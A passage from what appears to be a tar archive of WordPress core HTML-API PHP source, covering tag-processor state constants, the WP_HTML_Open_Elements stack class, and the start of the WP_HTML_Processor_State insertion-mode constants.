	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.9.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
class-wp-html-open-elements.php000066600000053716152442706010012542 0ustar00<?php
/**
 * HTML API: WP_HTML_Open_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of open elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the stack of open elements is empty. The stack grows
 * > downwards; the topmost node on the stack is the first one added
 * > to the stack, and the bottommost node of the stack is the most
 * > recently added node in the stack (notwithstanding when the stack
 * > is manipulated in a random access fashion as part of the handling
 * > for misnested tags).
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#stack-of-open-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Open_Elements {
	/**
	 * Holds the stack of open element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	public $stack = array();

	/**
	 * Whether a P element is in button scope currently.
	 *
	 * This class optimizes scope lookup by pre-calculating
	 * this value when elements are added and removed to the
	 * stack of open elements which might change its value.
	 * This avoids frequent iteration over the stack.
	 *
	 * @since 6.4.0
	 *
	 * @var bool
	 */
	private $has_p_in_button_scope = false;

	/**
	 * A function that will be called when an item is popped off the stack of open elements.
	 *
	 * The function will be called with the popped item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @var Closure|null
	 */
	private $pop_handler = null;

	/**
	 * A function that will be called when an item is pushed onto the stack of open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @var Closure|null
	 */
	private $push_handler = null;

	/**
	 * Sets a pop handler that will be called when an item is popped off the stack of
	 * open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @param Closure $handler The handler function.
	 */
	public function set_pop_handler( Closure $handler ): void {
		$this->pop_handler = $handler;
	}

	/**
	 * Sets a push handler that will be called when an item is pushed onto the stack of
	 * open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @param Closure $handler The handler function.
	 */
	public function set_push_handler( Closure $handler ): void {
		$this->push_handler = $handler;
	}

	/**
	 * Returns the name of the node at the nth position on the stack
	 * of open elements, or `null` if no such position exists.
	 *
	 * Note that this uses a 1-based index, which represents the
	 * "nth item" on the stack, counting from the top, where the
	 * top-most element is the 1st, the second is the 2nd, etc...
	 *
	 * @since 6.7.0
	 *
	 * @param int $nth Retrieve the nth item on the stack, with 1 being
	 *                 the top element, 2 being the second, etc...
	 * @return WP_HTML_Token|null Name of the node on the stack at the given location,
	 *                            or `null` if the location isn't on the stack.
	 */
	public function at( int $nth ): ?WP_HTML_Token {
		foreach ( $this->walk_down() as $item ) {
			if ( 0 === --$nth ) {
				return $item;
			}
		}

		return null;
	}

	/**
	 * Reports if a node of a given name is in the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @param string $node_name Name of node for which to check.
	 * @return bool Whether a node of the given name is in the stack of open elements.
	 */
	public function contains( string $node_name ): bool {
		foreach ( $this->walk_up() as $item ) {
			if ( $node_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Reports if a specific node is in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of open elements.
	 */
	public function contains_node( WP_HTML_Token $token ): bool {
		foreach ( $this->walk_up() as $item ) {
			if ( $token === $item ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of open elements.
	 */
	public function count(): int {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of open elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of open elements, if one exists, otherwise null.
	 */
	public function current_node(): ?WP_HTML_Token {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Indicates if the current node is of a given type or name.
	 *
	 * It's possible to pass either a node type or a node name to this function.
	 * In the case there is no current element it will always return `false`.
	 *
	 * Example:
	 *
	 *     // Is the current node a text node?
	 *     $stack->current_node_is( '#text' );
	 *
	 *     // Is the current node a DIV element?
	 *     $stack->current_node_is( 'DIV' );
	 *
	 *     // Is the current node any element/tag?
	 *     $stack->current_node_is( '#tag' );
	 *
	 * @see WP_HTML_Tag_Processor::get_token_type
	 * @see WP_HTML_Tag_Processor::get_token_name
	 *
	 * @since 6.7.0
	 *
	 * @access private
	 *
	 * @param string $identity Check if the current node has this name or type (depending on what is provided).
	 * @return bool Whether there is a current element that matches the given identity, whether a token name or type.
	 */
	public function current_node_is( string $identity ): bool {
		$current_node = end( $this->stack );
		if ( false === $current_node ) {
			return false;
		}

		$current_node_name = $current_node->node_name;

		return (
			$current_node_name === $identity ||
			( '#doctype' === $identity && 'html' === $current_node_name ) ||
			( '#tag' === $identity && ctype_upper( $current_node_name ) )
		);
	}

	/**
	 * Returns whether an element is in a specific scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-the-specific-scope
	 *
	 * @param string   $tag_name         Name of tag check.
	 * @param string[] $termination_list List of elements that terminate the search.
	 * @return bool Whether the element was found in a specific scope.
	 */
	public function has_element_in_specific_scope( string $tag_name, $termination_list ): bool {
		foreach ( $this->walk_up() as $node ) {
			$namespaced_name = 'html' === $node->namespace
				? $node->node_name
				: "{$node->namespace} {$node->node_name}";

			if ( $namespaced_name === $tag_name ) {
				return true;
			}

			if (
				'(internal: H1 through H6 - do not use)' === $tag_name &&
				in_array( $namespaced_name, array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ), true )
			) {
				return true;
			}

			if ( in_array( $namespaced_name, $termination_list, true ) ) {
				return false;
			}
		}

		return false;
	}

	/**
	 * Returns whether a particular element is in scope.
	 *
	 * > The stack of open elements is said to have a particular element in
	 * > scope when it has that element in the specific scope consisting of
	 * > the following element types:
	 * >
	 * >   - applet
	 * >   - caption
	 * >   - html
	 * >   - table
	 * >   - td
	 * >   - th
	 * >   - marquee
	 * >   - object
	 * >   - template
	 * >   - MathML mi
	 * >   - MathML mo
	 * >   - MathML mn
	 * >   - MathML ms
	 * >   - MathML mtext
	 * >   - MathML annotation-xml
	 * >   - SVG foreignObject
	 * >   - SVG desc
	 * >   - SVG title
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full support.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'TEMPLATE',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in list item scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in list item scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - All the element types listed above for the has an element in scope algorithm.
	 * >   - ol in the HTML namespace
	 * >   - ul in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Implemented: no longer throws on every invocation.
	 * @since 6.7.0 Supports all required HTML elements.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-list-item-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_list_item_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'BUTTON',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'OL',
				'TEMPLATE',
				'UL',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in button scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in button scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - All the element types listed above for the has an element in scope algorithm.
	 * >   - button in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Supports all required HTML elements.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_button_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'BUTTON',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'TEMPLATE',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in table scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in table scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - html in the HTML namespace
	 * >   - table in the HTML namespace
	 * >   - template in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full implementation.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-table-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_table_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'HTML',
				'TABLE',
				'TEMPLATE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in select scope.
	 *
	 * This test differs from the others like it, in that its rules are inverted.
	 * Instead of arriving at a match when one of any tag in a termination group
	 * is reached, this one terminates if any other tag is reached.
	 *
	 * > The stack of open elements is said to have a particular element in select scope when it has
	 * > that element in the specific scope consisting of all element types except the following:
	 * >   - optgroup in the HTML namespace
	 * >   - option in the HTML namespace
	 *
	 * @since 6.4.0 Stub implementation (throws).
	 * @since 6.7.0 Full implementation.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-select-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether the given element is in SELECT scope.
	 */
	public function has_element_in_select_scope( string $tag_name ): bool {
		foreach ( $this->walk_up() as $node ) {
			if ( $node->node_name === $tag_name ) {
				return true;
			}

			if (
				'OPTION' !== $node->node_name &&
				'OPTGROUP' !== $node->node_name
			) {
				return false;
			}
		}

		return false;
	}

	/**
	 * Returns whether a P is in BUTTON scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @return bool Whether a P is in BUTTON scope.
	 */
	public function has_p_in_button_scope(): bool {
		return $this->has_p_in_button_scope;
	}

	/**
	 * Pops a node off of the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @return bool Whether a node was popped off of the stack.
	 */
	public function pop(): bool {
		$item = array_pop( $this->stack );
		if ( null === $item ) {
			return false;
		}

		$this->after_element_pop( $item );
		return true;
	}

	/**
	 * Pops nodes off of the stack of open elements until an HTML tag with the given name has been popped.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Open_Elements::pop
	 *
	 * @param string $html_tag_name Name of tag that needs to be popped off of the stack of open elements.
	 * @return bool Whether a tag of the given name was found and popped off of the stack of open elements.
	 */
	public function pop_until( string $html_tag_name ): bool {
		foreach ( $this->walk_up() as $item ) {
			$this->pop();

			if ( 'html' !== $item->namespace ) {
				continue;
			}

			if (
				'(internal: H1 through H6 - do not use)' === $html_tag_name &&
				in_array( $item->node_name, array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ), true )
			) {
				return true;
			}

			if ( $html_tag_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Pushes a node onto the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @param WP_HTML_Token $stack_item Item to add onto stack.
	 */
	public function push( WP_HTML_Token $stack_item ): void {
		$this->stack[] = $stack_item;
		$this->after_element_push( $stack_item );
	}

	/**
	 * Removes a specific node from the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token The node to remove from the stack of open elements.
	 * @return bool Whether the node was found and removed from the stack of open elements.
	 */
	public function remove_node( WP_HTML_Token $token ): bool {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			$this->after_element_pop( $item );
			return true;
		}

		return false;
	}


	/**
	 * Steps through the stack of open elements, starting with the top element
	 * (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Open_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of open elements, starting with the bottom element
	 * (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Open_Elements::walk_down().
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Accepts $above_this_node to start traversal above a given node, if it exists.
	 *
	 * @param WP_HTML_Token|null $above_this_node Optional. Start traversing above this node,
	 *                                            if provided and if the node exists.
	 */
	public function walk_up( ?WP_HTML_Token $above_this_node = null ) {
		$has_found_node = null === $above_this_node;

		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			$node = $this->stack[ $i ];

			if ( ! $has_found_node ) {
				$has_found_node = $node === $above_this_node;
				continue;
			}

			yield $node;
		}
	}

	/*
	 * Internal helpers.
	 */

	/**
	 * Updates internal flags after adding an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was added to the stack of open elements.
	 */
	public function after_element_push( WP_HTML_Token $item ): void {
		$namespaced_name = 'html' === $item->namespace
			? $item->node_name
			: "{$item->namespace} {$item->node_name}";

		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $namespaced_name ) {
			case 'APPLET':
			case 'BUTTON':
			case 'CAPTION':
			case 'HTML':
			case 'TABLE':
			case 'TD':
			case 'TH':
			case 'MARQUEE':
			case 'OBJECT':
			case 'TEMPLATE':
			case 'math MI':
			case 'math MO':
			case 'math MN':
			case 'math MS':
			case 'math MTEXT':
			case 'math ANNOTATION-XML':
			case 'svg FOREIGNOBJECT':
			case 'svg DESC':
			case 'svg TITLE':
				$this->has_p_in_button_scope = false;
				break;

			case 'P':
				$this->has_p_in_button_scope = true;
				break;
		}

		if ( null !== $this->push_handler ) {
			( $this->push_handler )( $item );
		}
	}

	/**
	 * Updates internal flags after removing an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was removed from the stack of open elements.
	 */
	public function after_element_pop( WP_HTML_Token $item ): void {
		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $item->node_name ) {
			case 'APPLET':
			case 'BUTTON':
			case 'CAPTION':
			case 'HTML':
			case 'P':
			case 'TABLE':
			case 'TD':
			case 'TH':
			case 'MARQUEE':
			case 'OBJECT':
			case 'TEMPLATE':
			case 'math MI':
			case 'math MO':
			case 'math MN':
			case 'math MS':
			case 'math MTEXT':
			case 'math ANNOTATION-XML':
			case 'svg FOREIGNOBJECT':
			case 'svg DESC':
			case 'svg TITLE':
				$this->has_p_in_button_scope = $this->has_element_in_button_scope( 'P' );
				break;
		}

		if ( null !== $this->pop_handler ) {
			( $this->pop_handler )( $item );
		}
	}

	/**
	 * Clear the stack back to a table context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table context, it means
	 * > that the UA must, while the current node is not a table, template, or html element, pop
	 * > elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TABLE' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Clear the stack back to a table body context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table body context, it
	 * > means that the UA must, while the current node is not a tbody, tfoot, thead, template, or
	 * > html element, pop elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-body-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_body_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TBODY' === $item->node_name ||
				'TFOOT' === $item->node_name ||
				'THEAD' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Clear the stack back to a table row context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table row context, it
	 * > means that the UA must, while the current node is not a tr, template, or html element, pop
	 * > elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-row-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_row_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TR' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.6.0
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
class-wp-html-processor-state.php000066600000026107152442706010013116 0ustar00<?php
/**
 * HTML API: WP_HTML_Processor_State class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the internal parsing state.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Processor_State {
	/*
	 * Insertion mode constants.
	 *
	 * These constants exist and are named to make it easier to
	 * discover and recognize the supported insertion modes in
	 * the parser.
	 *
	 * Out of all the possible insertion modes, only those
	 * supported by the parser are listed here. As support
	 * is added to the parser for more modes, add them here
	 * following the same naming and value pattern.
	 *
	 * @see https://html.spec.whatwg.org/#the-insertion-mode
	 */

	/**
	 * Initial insertion mode for full HTML parser.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_INITIAL = 'insertion-mode-initial';

	/**
	 * Before HTML insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#the-before-html-insertion-mode
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_BEFORE_HTML = 'insertion-mode-before-html';

	/**
	 * Before head insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-beforehead
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_BEFORE_HEAD = 'insertion-mode-before-head';

	/**
	 * In head insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inhead
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_HEAD = 'insertion-mode-in-head';

	/**
	 * In head noscript insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inheadnoscript
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_HEAD_NOSCRIPT = 'insertion-mode-in-head-noscript';

	/**
	 * After head insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterhead
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_AFTER_HEAD = 'insertion-mode-after-head';

	/**
	 * In body insertion mode for full HTML parser.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inbody
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_BODY = 'insertion-mode-in-body';

	/**
	 * In table insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intable
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_TABLE = 'insertion-mode-in-table';

	/**
	 * In table text insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_TABLE_TEXT = 'insertion-mode-in-table-text';

	/**
	 * In caption insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incaption
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_CAPTION = 'insertion-mode-in-caption';

	/**
	 * In column group insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incolumngroup
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_COLUMN_GROUP = 'insertion-mode-in-column-group';

	/**
	 * In table body insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intablebody
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_TABLE_BODY = 'insertion-mode-in-table-body';

	/**
	 * In row insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
